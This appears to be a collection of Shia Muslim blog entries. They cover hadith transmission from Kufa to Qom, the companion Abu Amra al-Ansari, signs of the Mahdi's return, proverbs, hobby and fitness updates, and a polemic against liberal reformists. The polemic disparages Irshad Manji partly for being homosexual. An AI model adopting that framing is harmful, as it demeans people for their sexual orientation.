    Perhaps the most prolific scholar who is renowned for bringing much of Kufa’s hadith heritage to Qom is Ibrahim bin Hashim. He is remembered as the first scholar to bring Kufa’s hadith to Qom and to have spread it. Some of the works he brought with him were: the Asl of Ibrahim bin ‘Abd al-Hamid, books of Ismail bin Abi Ziyad al-Sakuni, books of Hariz bin ‘Abdillah al-Sijistani, book of ‘Abdullah bin Sinan, books of Ibn Abi ‘Umayr, books of Muhammad bin Ismail bin Bazi’, Asl of Hisham bin Salim, some books of Mufadhdhal bin ‘Umar, book of Zayd Narasi, book of Sulaym Farra’, book of Yahya bin ‘Imran bin ‘Ali bin Abi Shu’ba al-Halabi just to name a few.[3]

    For at least the next 150 years, Qom would become the most important city when it came to Shi’i theological discourse. Eventually much of Qom’s hadith heritage does return back to Iraq, to the city of Baghdad when the likes of Shaykh Mufid begin gaining authority.

    With regards to the topic of Kufa’s heritage moving over to Qom, Ibrahim bin Hashim is notably remembered by multiple scholars as being the first person to spread the hadith of the Kufans in Qom was him.[4] However, when we look at the list above, we see that Muhammad bin Khalid al-Barqi, Husayn bin Sa’eed and Ahmad bin Muhammad bin ‘Isa were all scholars who had already brought with them a lot of traditions from Kufa much before Ibrahim bin Hashim. So why is it that the latter scholars gave this honour to Ibrahim rather than those who were prior to him? There could be a few possible reasons for this and a closer look at the other three scholars may help us in determining this.

    One thing to note is that the attribution given to Ibrahim bin Hashim is that the works he brought to Qom were widely-spread, not that he merely transmitted them or passed them down to his students. That being said, when we consider al-Barqi, it is known that one of the reasons he was exiled from Qom by Ahmad al-Ash’ari was because he would narrate from unknown or weak people. This would have been enough of a reason for many of the scholars of Qom to act cautiously with regards to his narrations, leading to his narrations not having spread to such an extent where it would be deemed as spreading the Kufan heritage. Some have suggested that it is possible al-Barqi may have returned back to his own town on the outskirts of Qom called Barqah-Rud, and that would have been a plausible reason why his ahadith did not spread in Qom – however this seems far-fetched, simply because Qom seems to be the most sensible location for a scholar of hadith to have returned back to, and also when we see that Ahmad al-Ash’ari exiled him from Qom it indicates that he was in Qom to begin with.

    As for Husayn bin Sa’eed, he had thirty of his own written works in Kufa which he brought with him to Qom. His main focus had been to spread these narrations which he had compiled himself, and not the rest of the heritage he had brought with him. Furthermore, Husayn bin Sa’eed did not live too long after coming to Qom, dying a short while after, which could mean that he simply didn’t have enough time to spread and transmit all the works he had brought with him to such an extent that would merit him the status of being the first one to widely-spread the heritage of Kufa in Qom.

    When it comes to Ahmad bin Muhammad al-Ash’ari – who was also the authority in Qom – it seems that there may been another reason he is not given this description. He not only had more of an opportunity to widely spread the heritage of Kufa that he had brought back with him to Qom, but he also had many of the same teachers as Ibrahim bin Hashim and both were living during the same era. The one factor that could have caused the scholars to still give Ibrahim bin Hashim the credit for spreading the heritage of Kufa in Qom the fact that Ibrahim was someone who was brought up and raised in Kufa, whereas Ahmad was originally a scholar of Qom. In other words, Ibrahim was the first Kufan scholar who have come to Qom and have the Kufan heritage widely-spread in the city.

    Another side point that should be mentioned here is that Ibrahim bin Hashim is credited for carrying over the theological teachings of the school of the great theologian and companion Hisham bin Hakam from Kufa to Qom as well. Ibrahim bin Hashim is claimed to have been the student of Yunus bin ‘Abdul Rahman who himself was one of the strongest students of Hisham bin Hakam. Whether Ibrahim was indeed a student of Yunus or not is disputed as there is no narration which Ibrahim narrates directly from Yunus (as is the natural case in a student-teacher relationship), and every narration from Yunus appears to have an individual between them. Nevertheless, Ibrahim does seem to have been influenced by this school of thought, and likewise his son Ali bin Ibrahim who will be discussed in a later article as well.

    This is important to know because figures such as Ahmad bin Muhammad al-Ash’ari and many later Qom scholars were staunchly against some of the theological ideas of Hisham bin Hakam, and had even written books against him and Yunus bin ‘Abdul Rahman. Despite this, they were still welcoming of Ibrahim bin Hashim and his narrations which indicates the level of trust and respect Ibrahim must have had in the city of Qom.

    ————————————–

    [1] One of the works I have heavily relied on for this blog post is the research paper: Sayr-e Intiqal-e Mirath-e Maktub-e Shi’eh dar Ayeneh-ye Fihrist-ha written by Ruhullah Shaheedi and Dr. Muhammad Ali Mahdawi-Raad.

    [2] Al-Fihrist of Shaykh Tusi, pg. 52

    [3] Refer to Najashi’s al-Rijal and Shaykh Tusi’s al-Fihrist. About 19 more works can be found in Shaykh Tusi’s al-Fihrist and 3 more in Najashi’s al-Rijal.

    [4] The famous line as recorded in Najashi’s al-Rijal is this: أصحابنا يقولون: أوّل من نشر حديث الكوفيين بقم, هو (Our scholars have said: The first person to spread the hadith of the Kufans in Qom, was him)

  8. The most satisfying spouse  is the God Fearing Man. He is the one you should look for and he most likely wont be online-he's too busy making a difference in the world.

    You will never be bored with him. The way he is devoted to Allah SWT will fill you up with admiration and respect. His humor will be wholesome and sweet. His shyness and the way he lowers his gaze will make you fall madly in love with him. He will be  truthful. He will be pleased to meet your mother and greet her in the most polite manner as if he were her own son. He might not be a 10, but how he takes care of his body, and the Noor given to him from Allah SWT will be enough to attract you for a life time making him an 11 in your book. 

    He will never put you down. His language will be pure and sweet. You will feel safe and beautiful with him, and he will inspire you to fulfill your Islamic duties as a wife to the best of your abilities

  9. Abu Amra al-Ansari - A Forgotten Man in Early Shi`ism

     

    “I Swear to Thee … Obedience unto Death”

    و عدّه البرقي في أولياء أصحاب أمير المؤمنين عليه السّلام و في شرطة خميسه

    Al-Barqi confirms that he was among the closest companions of the commander of the faithful عليه السّلام and adds that he was part of his Shurta al-Khamis.

    There has been an ongoing debate about the etymology of Shurta al-Khamis and its origins.

    The most convincing explanation is that Khamis, meaning five, is a synonym for the whole army, because armies at the time were normally divided into five divisions. Thus the ‘Shurta of the army’ would be its elite vanguard. Our sources inform us that Ali’s Shurta al-Khamis consisted of around 6000 soldiers. The Shurta would be at the tip of the formation bearing the brunt of any offensive. They would see the riskiest action being the first to penetrate enemy lines.

    A clue as to what made them distinct from the rest of the army is provided by a narration in al-Ikhtisas of pseudo-Mufid where a man asks al-Asbagh b. Nubata, himself a member of the Shurta, the secret behind the name:

    قلت له: كيف سميتم شرطة الخميس يا أصبغ؟ فقال: إنا ضمنا له الذبح وضمن لنا الفتح

    I said to him: how was it that you came to be called the Shurta al-Khamis O Asbagh? He said: we guaranteed to fight for him and he guaranteed victory for us [in this world or the next].

    This indicates that the Shurta were Ali’s most loyal soldiers because they had sworn a personal oath to him in their zeal for him. Agreeing to join the Shurta meant fighting Ali’s enemies until death or victory, whichever comes first, without turning back.

    The Shurta were the backbone of Ali’s force whom he could expect to remain steadfast when others faltered. This contingent fought not for worldly gain or political expedient but because they recognized him as their only leader. They were always around him like worker bees around their queen. He said to them once:

    أنتم الأنصار على الحقّ، والإخوان في الدين، والجُنَن يوم البأس، والبِطانة دون الناس، بكم أضرب المُدبِر، وأرجو طاعة المُقبِل، فأعينوني بمناصحةٍ خَلِيّة من الغشّ، سليمة من الريب؛ فوَاللَّه إنّي لأولى الناس بالناس

    You are supporters of truth, brothers in religion, shields on the day of attack, you are the faithful apart from the rest, by you do I strike the one lagging behind, and by you do I compel the outriders to obedience, so aid me with an assistance free of any deception and safe from any doubt, for by Allah I am the most rightful of men among all men [Nahj al-Balagha]

    If Ali could not mobilize enough men to renew his attack against Muawiya after Nahrawan it is only because most of the Shurta had already given their lives in previous battles. A fact which he never stopped grieving over.

     

    Contribution to the War Effort

    عمرو بن محصن ... هو الذى جهز أمير المؤمنين عليه السلام بمائة ألف درهم في مسيره إلى الجمل

    Al-Tusi notes in his Rijal that Amr b. Mihsan [sic. Abu Amra b. Amr b. Mihsan] … supplied the commander of the faithfulعليه السلام with one hundred thousand Dirhams when he began his march to Jamal.   

     

    Delegate to Muawiya

    He was chosen by Ali to be part of the team that makes first contact with Muawiya at Siffin. This shows the level of trust the Imam had on this old hand [Ta`rikh al-Tabari]:

    تاريخ الطبري عن عبدالملك بن أبي حرّة الحنفي - بعد ذكر القتال على الماء -: مَكث عليّ يومين لا يرسل إلى معاوية أحداً، ولا يرسل إليه معاوية. ثمّ إنّ عليّاً دعا بشير بن عمرو بن محصن الأنصاري، وسعيد بن قيس الهمداني، وشبث بن ربعي التميمي، فقال: ائتوا هذا الرجل، فادعوه إلى اللَّه، وإلى الطاعة والجماعة

    Ali did not send anyone to Muawiya for two whole days nor did Muawiya send anyone to him. Then Ali called Bashir b. Amr b. Mihsan al-Ansari, Sa`id b. Qays al-Hamdani and Shabath b. Rib`i al-Tamimi and said to them: go to this man and call him to Allah and to obedience and unity. 

    فقال له شبث بن ربعي: يا أميرالمؤمنين!ألا تُطمعه في سلطان تولّيه إيّاه، ومنزلة يكون له بها اُثرة عندك إن هو بايعك؟

    Shabath b. Rib`i said to him: O commander of the faithful! won’t you tempt him with a rule which you could promise to hand over to him or by appointing him to a position which he desires so that he can incline towards you - if he were to give you the pledge of allegiance?  

    فقال عليّ: ائتوه فالقوه واحتجّوا عليه، وانظروا ما رأيه. - وهذا في أوّل ذي الحجّة

    Ali said: go meet him, reason with him, and observe what he intends. [This was in the beginning of Dhul Hijja]

    فأتوه، ودخلوا عليه، فحمد اللَّه وأثنى عليه أبوعمرة بشير بن عمرو، وقال: يا معاوية! إنّ الدنيا عنك زائلة، وإنّك راجع إلى الآخرة، وإنّ اللَّه عزّوجلّ محاسبك بعملك، وجازيك بما قدّمت يداك، وإنّي أنشدك اللَّه عزّوجلّ أنْ تفرّق جماعة هذه الاُمّة، وأن تسفك دماءها بينها

    They went and entered upon him, then Abu Amra Bashir b. Amr praised and extolled Allah and said: O Muawiya! this world will recede away from you and you are to be returned to the next abode wherein Allah the Mighty and Majestic will take you to account for your deeds, and recompense you for what your hands sent before. I beseech you in the name of Allah Mighty and Majestic that you shatter the unity of this Umma and you shed blood between them.  

    فقطع عليه الكلام، وقال: هلّا أوصيت بذلك صاحبك؟

    He (Muawiya) interrupted his speech and said: didn’t you say all this to your man [Ali]?

    فقال أبوعمرة: إنّ صاحبي ليس مثلك، صاحبي أحقّ البريّة كلّها بهذا الأمر في الفضل والدين والسابقة في الإسلام، والقرابة من الرسول صلى اللّه عليه وآله وسلم

    Abu Amra said: my man is not your equal, my man is the most rightful of all men in this matter [Khilafa] if you are to look at merit, religion, precedence in accepting Islam and closeness in ties to the messenger صلى اللّه عليه وآله وسلم

    قال: فيقول ماذا؟

    He (Muawiya) said: what does he (Ali) say?

    قال: يأمرك بتقوى اللَّه عزّوجلّ، وإجابة ابن عمّك إلى ما يدعوك إليه من الحقّ، فإنّه أسلم لك في دنياك، وخير لك في عاقبة أمرك

    He (Abu Amra) said: he (Ali) orders you to fear Allah Mighty and Majestic, and to submit to your cousin (Bani Hashim and Umayya are related afterall) in what he calls you towards which is the truth, for that is more secure in your worldy affairs and better for you in terms of your final destiny.

    قال معاوية: ونُطلّ دم عثمان! لا واللَّه، لا أفعل ذلك أبداً

    Muawiya said: and we are to leave the blood of Uthman unavenged! No by Allah! that will never happen!

    فذهب سعيد بن قيس يتكلّم، فبادره شبث بن ربعي فتكلّم، فحمد اللَّه وأثنى عليه، وقال: يا معاوية! إنّي قد فهمت ما رددت على ابن محصن، إنّه واللَّه، لا يخفى علينا ما تغزو وما تطلب

    Sa`id b. Qays wanted to speak but was beaten to it by Shabath b. Rib`i who praised and extolled Allah and then said: O Muawiya! I have understood your answer to Ibn Mihsan, by Allah it is not hidden from us what you are fighting for and what you seek! 

     

    Martyrdom

    کان ابن محصن من اعلام اصحاب علي (ع)، قتل في المعرکه، و جزع علي (ع) لقتله

    Nasr b. Muzahim: He was among the most knowledgeable of Ali’s companions. He died in battle [of Siffin]. Ali was greatly saddened by his death.

    روى عبادة بن زياد عن محمد ابن الحنفية قال: رأَيت أَبا عَمرَةَ الأَنصاري يوم صِفَّيْن، وكان عَقَبيًا بَدْرِيًّا أُحُدِيًّا، وهو صائم يتلوّى من العَطَش، فقال لغلام له: تَرِّسْنِي، فَتَرَّسَه الغُلاَم، ثم رمى بسهم في أَهل الشام، فنزع نزعًا ضعيفًا، حتى رمى بثلاثة أَسهم، ثم قال: إِني سَمِعتُ رسول الله صَلَّى الله عليه وسلم يقول: مَنْ رَمَى بِسَهْمٍ فِي سَبِيْلِ الله، فَبَلَّغَ أَوْ قَصَّرَ، كَانَ ذَلِكَ الْسَّهْمُ لَهُ نُورًا يَوْمَ الْقِيَامَةِ، وقتل قبل غروب الشمس

    Ubada b. Ziyad narrates from Muhammad b. al-Hanafiyya who said: I saw Abu Amra al-Ansari at Siffin, he was an Aqabi [was there at the pledge at Aqaba], a Badri and an Uhudi, he was fasting and bent-over [weak] because of thirst, he said to a servant of his: shield me, and the servant shielded him, then he placed the arrow to his bow very weakly, and could only throw three of them, then he said: I heard the messenger of Allahصَلَّى الله عليه وسلم  say: whoever throws an arrow in the way of Allah, whether he hits the target or not, that arrow will be for him a light in the day of judgment, he was killed before the setting of the sun [al-Mustadrak ala al-Sahihayn]

     

    In Memoriam

    There could not be a greater honour among the Arabs then to have your death being important enough to merit poetry on your behalf. This is what happened for Ibn Mihsan. It came from opposing sides.

    Najashi the poet of Iraq [who was on the side of Ali] composed a long poem mourning his death, it begins:

    لنعم فتى الحيّين عمرو بن محصن

    What a good man was Amr b. Mihsan …

    On the other hand, an anonymous Syrian woman taunted Ali and his followers with this invective:

    لا تعدموا قوما أذاقوا ابن ياسر

    Do not deem as insignificant a people who have sent Ibn Yasir to his death

    And ends with:

    فنحن قتلنا اليثربي ابن محصن خطيبكم و ابني بديل و هاشم

    For we are the ones who killed the Yathribi Ibn Mihsan … your pre-eminent speaker, and the two sons of Badiyl and Hashim [b. Mirqal] too

    In conclusion, any historical study of early Islam must take into account the wealth of poetry we have about the period. These have not been analyzed thoroughly because of the difficulty of dealing with the highly complex language involved. An argument can be made that that these can serve as more reliable than prose documentation because of the difficulty of fabricating things in the medium. A treasure trove awaits any historian brave enough to delve into them.

  10. :bismillah:

    :salam:

    A strong person will overcome an obstacle. A wise person will traverse the whole path. (Sometimes, letting go is a better option than to tackle the problem head on. As they say, care is better than the cure)

    A small cottage, wherein laughter lives, is worth more than a palace full of tears. (It's not about how big the house is, it's about how happy the home is. Happiness never comes from having more but being among the ones that cherish you, love you and care about you. Time passes, you lose the things you were once so attached to but the memories remain and so do the people, in our hearts)

    Always safeguard peace and quiet. When the time is right, the flowers will bloom. (Patience always brings about good tidings. If you're patient enough, you'll get the best. Learn to wait, because things happen when they're meant to be. Everything has a special time and a special place)

    Even idiots have their own foolish form of happiness. (Happiness can be found anywhere. Doesn't matter who you are, if you're willing to look at the positive aspects of life, you'll find happiness in little things)

    If you trip and fall, it doesn't necessarily means that you are going in the wrong direction. (Just because you find hurdles in your way, it doesn't mean that you aren't meant for that path. Difficulties always comes for those willing to seek greatness)

    If you wait by the river long enough, the bodies of your enemies will float by. (If you be patient and endure the pain your enemies give you, there will come a time when you will be victorious. Patience is the key to one of the greatness things in the world and the hereafter. Never underestimate the power of patience and Dua'a)

    Always look on the bright side of things. If you can't comprehend this, polish that which has dulled until it begins to shine. (Every dark cloud has a silver lining. You may seem hopeless at some point but try to look at the positive side of what has happened. If you can't, look at what the positives the trouble brought you. Remember: There's always balance in the world. When you lose something, you gain something. It may take time for you to see it but the great things always take time. Those things are reborn in a different form and are returned to you when you are ready)

  11. Logical reasoning

    Intellectual arguments

    Rational recognitions

    Eternal reflections

    Purity of spirit

    Eternal soulfulness

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    saudi-al-nimr.jpg

    More and more people are asking about if the holy warrior, "Ayatollah Sheikh Nimr Al Nimr" was the "Nafse Zaki" as prescibed in the prophecies of return of Imam Mahdi a.s (May Allah hasten his reappearance).

    To help out your curious mind. You'll witness the riwayats and hadiths related to "Nafse Zaki - Pure Soul".

     

    Note: Before reading below, beware that the signs of reappearance isn't explicitly the result for the return of the Imam Mahdi a.s except the 5 that are obligatory.

     

    1. On the 25th Zil-Hijjah the announcement will be made and the announcer killed (This is the blood of Nafse Zakiyya - pure soul, those whose blood will touch the Ka'ba and who is mentioned in numerous prophecies).

    2. His blood will be avenged 2 weeks later when Imam(a.s.) will appear himself at the Ka'ba.

    3. In the 13th volume of Bihar-ul-Anwar, Imam Al-Baqir(a.s.) is quoted as saying that "The Qaim (Imam Al-Mahdi(a.s.)) will send one of his companions to Makka and will ask him to inform them that I'm sent by so-and-so to you and that we are the merciful Ahlul-Bayt and the Store-house of 'Risalat' (religious guidance) and 'Khilafat' and we are the progeny of Muhammad(pbuh&hf) and from the time that the Prophet of Islam(pbuh&hf) left this world until now, we've been oppressed and deprived and our rights have been usurped. So we call you to befriend us. When that young man will utter these words, he will be caught and beheaded between 'Rukn' and 'madam' (in Masjidul Haram) and this young man is the 'Nafse Zaki'.......... And between the death of the 'Nafse Zaki' and the re-appearance of Imam Al-Mahdi (A.S.) there will not be a gap of fifteen nights".

    4. Nafs-e-Zakiyyah is a person by the name of Muhammad ibn al-Hasan (Allama Majlisi. Bihar al-Anwar 52)

    5. He is a descendant of Husayn ibn Ali (Allama Majlisi. Bihar al-Anwar 52)

    6. Duty of Nafs-e-Zakiyyah is mentioned in a hadith that narrated by Abu-Basir from Muhammad al-Baqir. According to the hadith when Muhammad al-Mahdi realizes, people of Mecca don't accept his reappearance. Therefore, he will send Nafs-e-Zakiyyah as an envoy to convey his oral message to people of Mecca (Majlisi, Muhammad Baqir. Bihar al-Anwar 52. p. 307)

    7. He will be slayed by people of Mecca around the Ka'ba after impart Imam's message to them. (Hashemi Shahidi, Seyyed Asadullah. Introduce of promised person. Jamkaran Mosque Publication. p. 524.)

    8. It will rise from the west; a pure soul (nafs zakiyya) will be killed in the outskirts of Kufa with seventy righteous men; a Hashimite will be slaughtered between the corner (of the Ka'ba) and the station of Abraham)

    9. As well, before the advent of the Imam, a noble person will be killed during the Hajj rites in Makkah. In the traditions, this person has been referred to as the Pure Soul or an-Nafs al-Zakiyyah.

    10. Upon the death of Nafs-e-Zakiyya, a voice will resonate from the skies declaring, “Be aware that your ruler is the Mahdi who shall fill the earth with truth and justice.” (Eqdud-Durar) (http://www.islamicinsights.com/religion/signs-of-the-return.html)

    11. Five signs will be seen before the uprising of the Qaim: Arrival of the Yemenite man, Sufyani, Call from the sky, Sinking of the ground in Baidha desert and Killing of the Pure Soul (Nafse Zakiyyah).”

    12. (Bihar Al Anwar Vol-51-52-53-( the-Promised-Mahdi-English v 13 -Translation ) Chapter Thirty book II, Ikmaaluddin- Shaykh Saduq)

    13. After that Imam Mahdi (a.s.) would arise and his standard would be held by Shuaib bin Salih. When Syrians realize that their country has come under the rule of the descendant of Abu Sufyan they would go to Mecca. Nafse Zakiyyah and his brother would be killed at that time.

    14. Nafse Zakiyyah (the pure soul) is a young man from the Progeny of Muhammad (s.a.w.s.), his name is Muhammad bin Hasan, who would be killed without any crime and sin and when they slay, him they shall neither have any excuse in the heavens nor would they have any friend in the earth. At that time the Almighty Allah will send the Qaim of Aale Muhammad with a group that in the view of the people would be softer than antimony.

    15. Imam Ja'far Sadiq (a.s.) said: And mutual discord in Bani so-and-so is inevitable, killing of Nafse Zakiyya is inevitable and the rising of Imam Qaim is also inevitable.

    16. "When Nafse Zakiyyah (pure person) will be killed, a voice from the sky will declare, ‘Your leader is so and so!’ Then Mahdi will rise and will fill the earth with justice and equity." (Ammare Yasir)

     

    Summarizing the Ahadith/Riwayats mentioned above:

    1. There are 2 nafs-e-Zakiyya mentioned in the riwayats i.e one would be killed in Kufa (Iraq) and the other would be killed in Saudi (Hijaz)

    2. The Nafs-e-Zakiyya is not a name but a nick name meaning (A pure soul).

    3. Nafs-e-Zakiyya name would be "Muhammad ibn al-Hasan"

    4. Killing of Nafs-e-Zakiyya is among the 5 major signs of reappearance of the Imam Mahdi a.s

    5. He would be Syed Hashmi (from the progeny of Prophet Mohammad s.a) (Ayatollah Nimr is not a Syed but a Sheikh)

    6. Nafs-e-Zakiyaa would call upon people to introduce the Ahlulbayt but he would be killed for this.

    7. Imam Mahdi a.s would rise right after 15 days of killing of Nafs-e-Zakiya.

     

    I've collected the above Signs from several websites. Thus the Ahadith mentioned may be Sahih or Zaieef (Strong or weak respectively) 

    Hope you would conclude it on your own.

  12. Bismillah

    Salam

    Here are some thoughts and updates about how my coloring page is coming along.

    - It had some momentum at first... I was averaging 1 finished coloring page a month. Now it's been like 5+ months and nothing... I just feel like I have little time and even littler inspiration these days. Deep down I am still passionate about the idea... but it doesn't manifest itself. 

    - I hired my niece a few months ago to help me produce more pages more quickly and offer a variety of styles. She is an artist herself, so the idea was that she can come up with sketches/ designs, send them to me, and then I turn them into a finished coloring page. She gets $5 per finished design and a % of every sale of that coloring page. She did do one for me so far, but she is very busy as well so I understand if she can't produce much. (Anyone else interested?)

    - I actually am working on a design right now. I am excited about it, I think I will like how it comes out when finished. Probably because it is based off of one of my old (and favorite) paintings. 

    - I learned that I am absolutely terrible at promoting myself. I just don't like it. I even made an Instagram because I heard that it's good for this type of stuff, but I dislike posting. I'm very shy and hate attention. Hmm... how will that work with my entrepreneurial side? 

    - I've made 8 sales in all. Every time I get an email saying I made a sale, I get so happy! Even though I literally make pennies off of every sale lol. But that's fine, I don't do this for the monies. 

    I think that's all for now. Here are the 2 coloring pages that I have completed since my last blog. 

    icecreamgirlssmall.thumb.jpg.59b2ae1e2eb225780222a9039f898ad5.jpgtreesandflowersmall.jpg.67a8de06b49bef5a60c4e3c7fb7f3e5f.jpg

    Link to shop: https://www.etsy.com/shop/TzahArt

  13.     Image result for bismillah

    اعْلَمُوا أَنَّمَا الْحَيَاةُ الدُّنْيَا لَعِبٌ وَلَهْوٌ وَزِينَةٌ وَتَفَاخُرٌ بَيْنَكُمْ وَتَكَاثُرٌ فِي الْأَمْوَالِ وَالْأَوْلَادِ كَمَثَلِ غَيْثٍ أَعْجَبَ الْكُفَّارَ نَبَاتُهُ ثُمَّ يَهِيجُ فَتَرَاهُ مُصْفَرًّا ثُمَّ يَكُونُ حُطَامًا وَفِي الْآخِرَةِ عَذَابٌ شَدِيدٌ وَمَغْفِرَةٌ مِّنَ اللَّهِ وَرِضْوَانٌ وَمَا الْحَيَاةُ الدُّنْيَا إِلَّا مَتَاعُ الْغُرُورِ

    KNOW [O men] that the life of this world is but a play and a passing delight, and an ephemeral amusement, and [the cause of] your boastful vying with one another, and [of your] greed for more and more riches and children. Its parable is that of [life-giving] rain: the herbage which it causes to grow delights the tillers of the soil; but then it withers, and you see it turn yellow; and in the end it crumbles into dust. But [the abiding truth of man’s condition will become fully apparent] in the life to come: [either] suffering severe,or God’s forgiveness and His goodly acceptance: for the life of this world is nothing but a passing self-delusion. -

    Holy Quran 57:20 

    Going Astray Part 3 - The Trap

    In the Holy Quran, as well as hadith from our Imams(a.s), we are taught that this world is nothing but a passing fancy, a very short term thing that we should not give too much importance to. And yet, we are placed in this world, and have to survive. Some of us are faced with great difficulties just to have a roof over our head and food on the table. We live in a world that is mostly chaotic, inconsistent, full of conflicts and tribulation. Enemies trying to destroy us, and so called 'friends' that are insincere and disloyal. Mixed in with this are beautiful passages of poetry, glittering objects that catch our eye, desires that we have that almost rip our hearts from our chest, profound words of wisdom that we hear or read, and a few individuals that we meet or know that seem to rise above all the noise and clamour, staying steady and consistent with decency, morality, and their own internal values. 

    We walk thru forests, look up at the tall trees, we trudge thru swaps, wade thru rivers, sink into desert sands, and we stammer, stare, sit and wait, cough and stammer, trip and fall, and roll down hills and into valleys, and then find ourselves stuck, our foot unable to move, wincing in pain. We look down and see blood gushing from above the ankle. We can feel the cold steel. Rush of heat up our spine. We look down and see the teeth of the trap digging into our flesh. Immobilized. We look up and down, right and left, back and forth. Twisting, writhing. Waiting for relief from the trap. 

    Imam Sadiq(a.s) says. 

    عن ابي عبدالله عليه السلام قال: راس كل خطيئة حب الدنيا

    “Attachment to World is the basis of all sins and transgressions.” Imam Sadiq(a.s)

    Bihar al-Anwar, vol. 3, p-7.

    Some people misunderstand this and related hadiths. He is not saying 'the dunya', this world, or anything in the world is the root of all evil and sins. You cannot point to an object like money, t.v., the Internet, or another human being like a leader, king, or tyrant, or even an activity like sex, or a desire like lust, or a profession, or anything else and say this is the root of all evil. Imam Sadiq(a.s) says 'Hub' or love of this is the root, not the thing itself. 

    We should examine the meaning of 'hub' or love in this context and also in the context of the verses of the Holy Quran regarding this world. 

    'Hub' in this context has to do with 

    1) The value and importance we assign to something

    2) What we are willing to do(or not do) in order to get or achieve it. 

    Let me give an example. 

    Two friends make a deal in their early teens that they are both going to become doctors. They are going to get good grades, then apply to college, do good in college, and hopefully apply to Medical School and graduate. They both do good in School, college, then apply to Med School and are both accepted. One of the friends comes from a wealthy family and the other comes from a poor family. The wealthy friend shows up for Medical School on the first day, after his parents paid a huge tuition bill, and wonders where his poor friend is. The poor friend, having no money to pay the huge tuition bill, starts thinking about what he is going to do. He knows that he is not going to fulfill his dream unless he gets some money. He decides he is going to rob a bank (cause that's where the money is..). He gets a gun, mask, all the robber stuff, makes a plan, and because he is smart the plan works perfectly, gets the money, pays his tuition, and shows up on the second day. 

    His rich friends asks, 'Where were you buddy..'. He answers, 'I had some things to take care of..'. 

    So there is no love of the dunya going on here, up until the point where the poor friend robs the bank (we are assuming he is muslim, and knows it is haram to steal and rob). Going to school, getting good grades, trying hard, becoming a doctor and making a good salary, there is nothing wrong with that as long as you can do all that and not violate the clear laws and ordinances that Allah(s.w.a) has revealed to you. Because when you start to 'love' your goals, plans, and ideas so much that you are willing to violate and do violate the clear rules and guidelines then that is the point where you 'love the dunya', and not before that. 

    Now some people will look at the poor friend and say, 'Well he is poor, so he had to do what he had to do..'. He had to 'take care of business'. From an Islamic perspective, this is wrong thinking. Being poor is not haram or a crime(although it is treated as such by modern society), it is a circumstance, and most of the time a temporary one. The fact of being poor says nothing, either positive or negative about someones character or religion. 

    It is the wrong thinking associated with poverty (that things are hopeless and the only way out is getting wealth by any means) and wrong thinking associated with wealth (because I am wealthy, therefore I am better than other people and have more rightst than they do) that is the trap, not the poverty or wealth itself. The trap is the wrong thinking, whether you are rich or poor, that there is something in this world that is worth risking disobeying Allah(s.w.a) in order to get it. If you know Allah(s.w.a), even on a very superficial level, and you know yourself, even on a superficial level, you will know that there is nothing in this world that is worth disobeying Allah(s.w.a) in order to get it, even if it is the world in it's entirety. Now you see the trap. Be careful not to step into it. 

     

  14. So week 1 finished. Eating all this food was quite the joy. And also painful at times. I will continue to eat as i have, with some variations, changing steak with chicken, fish with shrimp etc. For week 2 i will switch up the workouts a little.

    Results from Week 1:

    Body info:

    • Weight: 91kg


    Lifts Max:

    • Bench: 127kg
    • Deadlift: 185kg
    • Squat: still 150kg :(

    Increased strength all over, specially back and shoulders seem to be a lot stronger. I will try to focus more on legs this week by killing them with supersets and partials.


    Changes for Week 2
    Mondays will now include legs as well which looks something like this:

    Superset 1: Squats + Leg Press > 4 sets of 8/8/6/6 reps
    Superset 2: Leg Extensions + Walking lunges > 4 sets of 12/10/8/6 reps
    Superset 3: Romanian deadlift + Leg curls > 4 sets of 12/10/8/6 reps
    Calves: Calf raises > 4 sets to failure

    Goal: Squat 155kg by the end of 3rd week


     

  15. Bismillah and Salam

    Quran 2:11

    When it is said to them do not cause corruption in the land, they will say we are just reformers

    Introduction

    I have been meaning to do this for a while. I am sure most people know I am a very anti-reformist person. The Islamic reform movement, I would divide into three:

    The Salafiyyah, like Muhammad in Abdul Wahhab, Ibn Saudi, Syed Quyb, etc

    The Mahdi-Wannabes-Fake Mahdi claimants. These include the Bahais, Ahmadis, NOI and the Ismailis

    The liberal reformists, whom I will critique today 

    The first champions of the liberal reform movement were the Quranists. They continue to be the most liberal, as they interpret the Quran only by their knowledge, not that of 1400 years of Islamic scholars.

    Today it is led mainly by the likes of Irshad Manji, Majid Nawaz and Suhaib Webb. They propagate a Westernized version of Islam which is indifferent to traditional Islamic values. I will critique each of their viewpoints, and Inshallah I would like to raise points from two main Islamic reformist books, Their Jihad not My Jihad by Raheel Raza and Allah, Liberty and Love by Irshad Manji.

    Irshad Manji

    Born into a Shia family in Uganda, her family settled near Vancouver in Canada as refugees  Irshad supposedly went to a madrassah for 10 years, before asking too many questions, which resulted in her being banished to the library, a secular institution, where she learned about Ijtihad, the Islamic tradition of critical thinking!!!!

    OK..... here is my first point:

    She has ZERO training in Islamic Sciences

    Being a former journalist does not give you the training needed to be an Islamic scholar. She has made erroneous statements in her videos, which I will post below:

    This is absolute blasphemy. She has been ridiculed by Muslims and Kafirs alike for these idiotic statements.

    She may say that you do not need any formal training to learn about religion, meaning her statements are valid. Is that not the same logic terrorist groups use? Or is it different because her ideas fit the western narrative?

    Her being a homosexual and a Quranist also shows how "Islamic" she is. Here are some of her statements I would like to challenge.

    From an interview on May 6th 2007:

    "In Islam's golden age, so much progress was made that it became the basis of the European Renaissance. We Muslims have to change ourselves, that's the main difference. We can't keep blaming America or Israel for our misery."

    First point: What do you think changed that? The golden age of Islam was great science-wise (ignoring Abbasid oppression and the killing of the Ahlulbayt (as)) and religious wise. My question is, have you ever read the work of a scholar from this age? Please, just read one scholarly work from this age and your views on ahadith, homosexuality and Islam in general will crumble to dust. 

    Secondly: Most Muslims don't blame Israel for the demise of Islamic religious prowess. However, I do think they deserve a bit of criticism for.... well...... exiling 700 000 Arabs, Muslim and Christian, from their ancestral home, AND cutting off utilities, burning Palestinian farms, destroying Palestinian homes. She defends the tyrants of the worlds, and can still pray Salah? .... Oh wait, she calls that a "useless ritual."

    From her book, the trouble with Islam today, 2005

    "Most Muslims treat the Quran as a document to imitate rather than interpret, suffocating our capacity to think for ourselves."

    According to Islam, we are to imitate the sunnah of the 14 infalliables (as). There are good deeds mentioned in the Quran, like giving to orphans, which we do imitate, but others we do interpret, theough tafsir, which you completely reject. However, Muslims don't interpret based on their opinions, but on the opinions of the 14 infalliables (as). Got it? I hope so.......

    I'll get back to her later, as I am writing a pretty big article, but now lets take a look at...

    Maajid Usman Nawaz

